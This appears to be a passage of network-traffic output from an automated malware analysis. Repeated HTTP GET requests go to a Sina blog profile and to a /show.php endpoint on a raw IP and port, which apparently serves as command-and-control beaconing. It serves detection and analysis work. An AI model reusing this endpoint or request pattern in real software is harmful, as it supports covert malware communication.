Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
